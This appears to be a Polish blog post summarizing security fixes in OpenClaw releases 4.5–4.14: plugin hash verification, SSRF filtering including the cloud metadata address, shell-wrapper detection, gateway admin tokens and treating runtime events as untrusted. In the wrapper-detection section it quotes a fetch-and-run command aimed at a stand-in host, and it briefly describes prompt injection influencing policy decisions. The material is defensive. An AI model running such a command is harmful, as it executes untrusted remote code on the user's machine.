Większość tego zestawu wydań nie pojawi się na żadnym screenshocie. Dziesięć dni, osiem releasów, a lwia część diffa siedzi w miejscach, do których nigdy nie zaglądasz, jeśli nic się nie psuje — plugin loader, resolver URL-i w narzędziu browser, config-endpointy gatewayu, tablice allowlist, manifest zależności. Praca nad bezpieczeństwem z założenia jest cicha. Ten wpis to długa wersja tej ciszy.
Jeśli uruchamiasz OpenClaw na laptopie, na którym leżą też twoje klucze SSH, twój menedżer haseł, niedokończony PIT i przeglądarka zalogowana we wszystkim — czytaj dalej. To jest ten zestaw wydań, który zmienił to, czego homarowi wolno dotknąć.
Pluginy teraz weryfikują, a nie tylko pobierają
Przed 4.7 instalacja pluginu z registry robiła to, czego byś się spodziewał: pobrać archiwum, rozpakować, uruchomić. Samo registry było zaufane; archiwum nie było ponownie sprawdzane. Gdyby CDN registry został podmieniony w locie, mirror zatruty albo ktoś wstawił się na krawędzi — homar radośnie zainstalowałby cokolwiek, co wróciło.
4.7 zamyka tę drogę. Każde archiwum pluginu jest teraz przypinane do hasha SHA-256 w momencie publikacji, a instalator odmawia rozpakowania czegokolwiek, czego bajty się nie zgadzają. Jeśli piszesz pluginy, flow openclaw plugin publish automatycznie wpisuje teraz hash do manifestu — nie musisz robić nic. Jeśli instalujesz pluginy, pierwszym sygnałem, że coś jest nie tak, jest czysty błąd, a nie cicha instalacja.
Kolejny krok w 4.9 rozszerzył tę samą weryfikację na aktualizacje pluginów, które dotąd po cichu pomijały check na zasadzie, że stara wersja już przeszła. To dokładnie ten rodzaj założenia, którego szukają atakujący. Już go nie ma.
Filtr SSRF w narzędziu browser, trzy razy od nowa
Narzędzie browser pozwala homarowi pobierać strony, chodzić za linkami, uruchamiać małe kawałki JavaScriptu i zwracać to, co znalazł. To jedno z najbardziej przydatnych narzędzi w produkcie i zarazem jedno z najbardziej niebezpiecznych — cokolwiek pobiera URL-e w imieniu LLM-a, może zostać namówione na pobranie złych URL-i. Server-Side Request Forgery (SSRF) to uprzejma nazwa tego trybu awarii.
W ciągu tych dziesięciu dni filtr SSRF został przepisany trzy razy.
4.7 przesunął sprawdzanie allowlist hostów, żeby działało po rozwiązaniu DNS, a nie przed. Stara wersja porównywała string hostname z allowlistą, a potem rozwiązywała. To znaczyło, że hostname, który wyglądał na zewnętrzny, ale rozwiązywał się do 127.0.0.1 przez kontrolowany rekord DNS, mógł się prześlizgnąć. Teraz rozwiązany IP jest sprawdzany wobec denylisty zakresów prywatnych i loopback, a jeśli trafi w jeden z nich, request jest odrzucany niezależnie od tego, jak wyglądała nazwa.
4.9 dołożył pokrycie IPv6. Poprzednie podejście obsługiwało 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8 oraz link-local — wszystko IPv4. Odpowiedniki IPv6 (fc00::/7, fe80::/10, ::1) były technicznie łapane przez fallback „nie ma na allowliście", ale nigdy nie przetestowane end-to-end. 4.9 awansuje je do pełnoprawnych reguł odrzucenia i dorzuca matrycę testów.
4.10 zamknął dziurę w śledzeniu przekierowań. Jeśli pierwszy URL przechodził przez filtr, ale zwracał 302 na prywatny IP, przekierowanie było podążane bez ponownego sprawdzenia. Teraz każdy hop w łańcuchu przekierowań jest filtrowany niezależnie. Narzędzie browser będzie przez cały dzień chodzić za przekierowaniem z publicznego hosta na inny publiczny host; nie pójdzie za tym z publicznego hosta na 169.254.169.254, które to jest adres, który się liczy, jeśli kiedykolwiek uruchamiasz to wewnątrz instancji w chmurze.
4.14 to ten release, który dla części osób wywoła prawdziwą niekompatybilność. Całkowicie wyłącza URL-e file:// z powierzchni narzędzia browser. Czytanie lokalnych plików przez narzędzie browser było nieudokumentowanym efektem ubocznym, na którym zaczęło polegać kilka workflowów, i to było po prostu nie tak: czytanie lokalnych plików należy do narzędzia file, które ma własną historię sandboxingu. Jeśli używałeś browser.open('file://...') jako skrótu, musisz się przesiąść na file.read i zaakceptować tę allowlistę, którą to narzędzie wymusza w twojej konfiguracji.
Nowe CLI do audytu tego, co homar może uruchomić
4.10 wypuszcza openclaw exec-policy — read-only CLI, które zrzuca efektywną politykę wykonywania powłoki dla bieżącego workspace'u. Mówi ci na jednym ekranie, które polecenia są na allowliście, które zablokowane, które wymagają potwierdzenia i skąd pochodzi każda reguła (konfig usera, konfig workspace'u, plugin, default).
To jest rzecz, którą odpalasz po zainstalowaniu nowego pluginu. Pluginy mogą rejestrować polecenia powłoki; większość jest w porządku; kilka po cichu rozszerza to, co homar może wykonać. Przed 4.10 nie było jednej powierzchni, żeby zobaczyć połączony wynik — musiałeś czytać kilka plików konfiguracyjnych i samemu rozumować o priorytetach. Teraz to jedno polecenie, a output jest wystarczająco stabilny, żeby przepchnąć go pipem do testu.
Towarzysząca zmiana w 4.12 jest mniejsza, ale złośliwa: warstwa exec wykrywa teraz wywołania z wrapperami powłoki, które próbują przemycić polecenia obok allowlisty. Klasyczny wzorzec to bash -c 'curl evil.example | sh', kiedy bash jest dozwolony, a curl nie. Wykrywanie wrapperów zaznacza formę -c, rozwija wewnętrzny string polecenia i przepuszcza wewnętrzne polecenie przez allowlistę tak, jakby było wywołane bezpośrednio. Jeśli wewnętrzne polecenie byłoby odrzucone, zewnętrzny wrapper też jest odrzucany.
Config-endpointy gatewayu dostały strażników
Jeśli uruchamiasz OpenClaw w trybie gateway — trybie, w którym wielu klientów dzieli jedną instancję homara — gateway wystawia mały admin API do czytania i pisania konfigu serwera. 4.7 i 4.14 zacisnęły tę stronę.
4.7 rozdzieliło config.apply (zastąp cały config) i config.patch (zmerguj częściową aktualizację). Oba istniały wcześniej, ale dzieliły jedną ścieżkę kodu, a semantyka mergowania była na tyle niedoprecyzowana, że dało się usunąć zagnieżdżony klucz admin patchując sąsiadujące pole. Rozdzielenie daje każdemu czasownikowi własny walidator. Patche są teraz prawdziwym głębokim mergem z jawnym usuwaniem wymagającym sentinela $delete; applies wymagają pełnego, poprawnego configu, inaczej request jest odrzucany.
4.14 dołożył wymaganie tokena podpisanego na obu endpointach, kiedy gateway jest przypięty do czegokolwiek innego niż localhost. Jeśli uruchamiałeś gateway na maszynie dev z --host 0.0.0.0 i polegałeś na segmentacji sieci, żeby trzymać ludzi z daleka — gateway odmawia teraz startu w takiej konfiguracji, chyba że podasz też --admin-token albo jawnie wypiszesz się z tego przez --admin-insecure. Nazwa flagi jest celowo brzydka. Powinieneś musieć wpisać słowo „insecure", żeby wrócić do starego zachowania.
Poświadczenia, które przypadkiem były danymi template'a
4.12 naprawił długo żyjącą brzydką rzecz: plik .env.example, który wjeżdżał do nowych workspace'ów, zawierał placeholdery kluczy API, które wyglądały wystarczająco prawdziwie, żeby co najmniej jeden użytkownik wrzucił je do publicznego repo, myśląc, że to atrapy. To były atrapy — wartości były samymi zerami i nie były ważne u żadnego providera — ale miały kształt poświadczeń, a lintery, które sprawdzaliśmy, raportowały je jako wyciek. Nowy .env.example używa oczywiście fałszywych tokenów (REPLACE_ME_OR_I_WILL_FAIL), a flow openclaw init odmawia zapisania pliku .env zawierającego którąkolwiek z tych sentinelowych wartości.
Mała rzecz. Małe konsekwencje. Ale koszt naprawy to jedno popołudnie, a koszt nieprawienia to jeszcze jeden publiczny incydent, który trzeba by tłumaczyć.
Granice allowlist, zaciśnięte po cichu
W każdym wydaniu z tego zestawu tablice allowlist siedzące między homarem a światem zewnętrznym zostały zaciśnięte w małe, konkretne sposoby:
- •4.5: katalog wyjściowy narzędzia music ma teraz domyślnie
./generated/music, a nie wszędzie tam, gdzie workspace akurat myśli, że jest „output". - •4.7: źródła importu memory są ograniczone do
file://,https://i konkretnych URL-i providerów. Stary kod akceptował każdy schemat URL-a, któryurllibumiał sparsować, w tym kilka zaskakujących. - •4.9: ścieżka uploadu w narzędziu do generowania wideo nie akceptuje już ścieżek absolutnych spoza korzenia workspace'u.
- •4.10: manifesty pluginów nie mogą już deklarować
*jako wzorca allowlist. Muszą nazwać konkretne domeny albo metody. - •4.14: dedykowany klient providera Codex respektuje osobną allowlistę niezależną od tej zunifikowanej, więc zacieśnianie Codex nie rozluźnia przypadkiem wszystkiego innego.
Żadne z tego osobno nie jest historią. Razem przesuwają promień rażenia w dobrą stronę.
Zaufanie do zdarzeń runtime, obniżone
Subtelniejsza zmiana, która przechodzi przez 4.7, 4.9 i 4.14: zdarzenia pochodzące z runtime'u (wywołania narzędzi, outputy modeli, callbacki pluginów) nie są już traktowane jako zaufany input dla silnika polityk. Wcześniej narzędzie emitujące ustrukturyzowane zdarzenie mogło wpłynąć na późniejsze decyzje allowlist przez dane, które samo kontrolowało — klasyczny tryb awarii „prompt injection dotyka warstwy polityk". Zdarzenia runtime przechodzą teraz przez osobny krok sanityzacji, zanim mogą wpłynąć na jakąkolwiek późniejszą ewaluację polityki, a silnik polityk traktuje każde pole, którego pochodzenie to „runtime", jako skażone, dopóki ludzki operator nie przypnie go jawnie.
W praktyce znaczy to, że kilka edge-case'owych workflowów, które polegały na tym, że własny output narzędzia homara zawęża jego własne zachowanie, będzie trzeba przepisać. Zamierzonym sposobem zawężania zachowania jest teraz napisanie reguły polityki, a nie to, żeby narzędzie wyemitowało podpowiedź. Jeśli w to wejdziesz, CLI exec-policy z 4.10 jest narzędziem diagnostycznym.
Audyt zależności
4.9 i 4.14 oba przejechały pełnego cargo audit i npm audit i podbiły każdą przechodnią zależność z otwartym advisory. Nic z tej listy nie było używane przeciwko OpenClaw, na tyle, na ile potrafimy to stwierdzić; to jest utrzymanie, a nie reakcja na incydent. Te podbicia są celowo nudne.
Jeden niepustudzny bump: biblioteka WebSocket używana przez gateway przeszła w 4.14 większą wersję, co zmieniło sposób, w jaki close frame'y raportują reason code. Jeśli miałeś kod czytający event.reason na sygnale rozłączenia socketu gatewayu, to teraz jest to string, a nie bufor. To jest breaking change. Jest wywołany wprost w changelogu 4.14.
Nowy sygnał: audyt bezpieczeństwa wspomagany przez AI
Ostatnia rzecz warta nazwania — 4.14 wprowadził wewnętrzny workflow, w którym drugi model przegląda diffy istotne dla bezpieczeństwa, zanim wylądują. Nie blokuje mergy; zostawia komentarze. W tym zestawie wyłapał dwie rzeczy, które ludzki review przepuścił: lukę IPv6 w przepisaniu SSRF z 4.9 (która została naprawiona przed mergem) i niejednoznaczność sentinela $delete w rozdzieleniu config.patch z 4.7 (która stała się jawnym walidatorem, a nie implicite).
Nie chcemy przesadzać. Drugi model nie jest zamiennikiem drugiego człowieka. Ale jest drugim przejściem, a w dziesięciu dniach szybko ruszającej się pracy nad bezpieczeństwem to był ten pass, który złapał dwie rzeczy, które inaczej by pojechały. Zostaje.
Krótka wersja
Jeśli z tego wpisu bierzesz tylko jedną rzecz: uruchom openclaw update, żeby dostać 4.14, potem uruchom raz openclaw exec-policy, żeby zobaczyć, co homar faktycznie może zrobić na twojej maszynie. Jeśli output cię zaskoczy, zaciśnij go. Cały sens ostatnich dziesięciu dni polega na tym, że możesz.
A jeśli jesteś jedną z osób uruchamiających gateway na --host 0.0.0.0 bez admin-tokena — proszę, napraw to, zanim odpalisz openclaw update, bo 4.14 odmówi startu, dopóki tego nie zrobisz, a wolimy, żebyś najpierw przeczytał ten wpis, niż żebyś przeczytał błąd i założył, że coś jest popsute.
